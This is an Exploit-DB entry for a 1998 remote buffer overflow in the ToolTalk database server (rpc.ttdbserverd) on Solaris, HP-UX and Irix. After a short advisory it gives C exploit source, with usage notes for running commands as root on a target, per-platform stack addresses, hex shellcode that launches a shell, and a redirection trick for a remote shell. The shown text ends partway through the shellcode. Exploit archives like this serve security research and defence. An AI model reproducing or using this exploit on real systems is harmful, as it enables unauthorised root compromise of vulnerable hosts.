Exploit-DB #19101
Description: Xi Graphics Maximum CDE 1.2.3/TriTeal TED CDE 4.3/Sun Solaris 2.5.1 - ToolTalk RPC Service Overflow (1)
Type: remote
Platform: unix
Date: 1998-08-31
Author: NAI research team

Exploit:
// source: https://www.securityfocus.com/bid/122/info

An implementation fault in the ToolTalk object database server allows a remote attacker to run arbitrary code as the superuser on hosts supporting the ToolTalk service. The affected program runs on many popular UNIX operating systems supporting CDE and some Open Windows installs. 

The ToolTalk service allows independently developed applications to communicate with each other by exchanging ToolTalk messages. Using ToolTalk, applications can create open protocols which allow different programs to be interchanged, and new programs to be plugged into the system with minimal reconfiguration.

The ToolTalk database server (rpc.ttdbserverd) is an ONC RPC service which manages objects needed for the operation of the ToolTalk service. ToolTalk-enabled processes communicate with each other using RPC calls to this program, which runs on each ToolTalk-enabled host. This program is a standard component of the ToolTalk system, which ships as a standard component of many commercial Unix operating systems. The ToolTalk database server runs as root.

Due to an implementation fault in rpc.ttdbserverd, it is possible for a malicious remote client to formulate an RPC message that will cause the server to overflow an automatic variable on the stack. By overwriting activation records stored on the stack, it is possible to force a transfer of control into arbitrary instructions provided by the attacker in the RPC message, and thus gain total control of the server process.


/*
 rpc.ttdbserver remote overflow, apk
 Solaris (tested on SS5 and Ultra 2.5.1)
 Irix (tested on r5k and r10k O2 6.3), 
 HP-UX ( tested on 700s 10.20)

 usage: ./r [-ku] [-p port] [-f outfile] host cmd
           -k : kill ttdbserver (read below)
           -u : use UDP (default TCP)
           -p port : connect to ttdbserver at port (don't ask portmap)
           -f outfile : store rpc message in outfile (and do NOT contact host)

 note:
   it should compile on any normal system, to get HP-UX exploit compile with 
     -DHPUX, for Solaris -DSOLARIS, for Irix use -DIRIX
   cmd is run through sh -c, and there is no practical limit for command 
     length, but it has to fit in buffer (1024 bytes in this case), 
     and ~(strlen + 1) cannot contain '0'
   by default ttdbserver runs from inetd, so it will be respawned each time
     it die (I mean execute command), also because it dies correct reply is
     clnt_call error (connection reset, timeout etc)
   -f file option: On HP-UX and Irix, connected socket gets first free
     descriptor, 3 on HP-UX and 5 on Irix. You can use -f option to store
     datagram to file, and send it to ttdbserver with your telnet of 
     choice.  With command like "0<&3 1>&3 2>&3 exec sh" on HP-UX you'll get
     remote shell running. Solaris dup() connected fd to first free one
     over 256, so you have to study sh man page to find a way to do this <g>
     You should kill ttdbserver before, to make sure it doesn't have
     any files open except 0-2 fds passed from inetd. Actually on Irix
     it looks like fucked up, ttdbserver gets 0-2 fds from inetd, ignores
     them and opens new ones as 3 and 4 fd, so you need to redirect 5th fd.
     It happens on 6.3 at least, I need to look at other versions.
     Irix is also the only one I saw which supports ttdbserver over UDP,
     keep in mind that by default generated RPC datagram is TCP version with
     record marking, you should use -u option to get UDP version (or just remove
     first four bytes from generated file)
  for reasons I can't quite understand, you _have_ to kil ttdbserver on Solaris
    before sending a command there. When ttdbserver has connected clients,
    it simply returns an error (filename too long). In both cases
    it looks like the program goes through the same way, well, maybe I'll
    get a clue one day what happens there.
  On Irix to get over its fucked up cache, I simply send like 20kb to make
    it flushed, so it's not reliable. You can find a buffer allocated by xdr 
    and it should be better. 
  surprizingly there are some differences between ttdbserver on above platforms,
    like solaris dup() of fds, start-up Irix behaviour, the fact that
    on Irix it first tries chdir to directory then do some task (it's the
    reason I have to add "/f" at the end of buffer to have it copy overflow
    part of the buffer on stack) etc. That's why it may not work on other
    systems and versions than mentioned at the beginning.

 */

#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>

#define PORT 0
#define BSIZE 1024

#if defined(SOLARIS)
# define SP 0xefffd618
# define LENOFS 80
char asmcode[]="\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x92\x03\xe0\x48\x90\x02\x60\x10\xe0\x02\x3f\xf0\xa2\x80\x3f\xff\xa0\x24\x40\x10\xd0\x22\x3f\xf0\xc0\x22\x3f\xfc\xa2\x02\x20\x09\xc0\x2c\x7f\xff\xe2\x22\x3f\xf4\xa2\x04\x60\x03\xc0\x2c\x7f\xff\xe2\x22\x3f\xf8\xa2\x04\x40\x10\xc0\x2c\x7f\xff\x82\x10\x20\x0b\x91\xd0\x20\x08\xff\xff\xff\xfc\x22\x22\x22\x22\x33\x33\x33\x33\x44\x44\x44\x44\x2f\x62\x69\x6e\x2f\x6b\x73\x68\x2e\x2d\x63\x2e";
char NOP[]="\x80\x1c\x40\x11";
#endif

#if defined(HPUX)
# define SP 0x7b03cc10
# define LENOFS 84
char asmcode[]="\xeb\x40\x40\x02\x0b\x39\x02\x80\xd7\x40\x0c\x1e\xb7\x5a\x20\xb8\x0b\x5a\x02\x59\x0f\x21\x10\x98\x97\x18\x07\xff\x0f\x39\x12\x81\x0f\x20\x12\x99\xb7\x39\x20\x10\x0f\x20\x12\x1f\x0f\x59\x12\x89\xb7\x39\x20\x06\x0f\x20\x12\x1f\x0f\x59\x12\x91\x0b\x38\x06\x19\x0f\x20\x12\x1f\xb7\x59\x07\xe1\x20\x20\x08\x01\xe4\x20\xe0\x08\xb4\x16\x10\x16\x11\x11\x11\x11\x22\x22\x22\x22\x33\x33\x33\x33\x44\x44\x44\x44\x2f\x62\x69\x6e\x2f\x73\x68\x2e\x2d\x6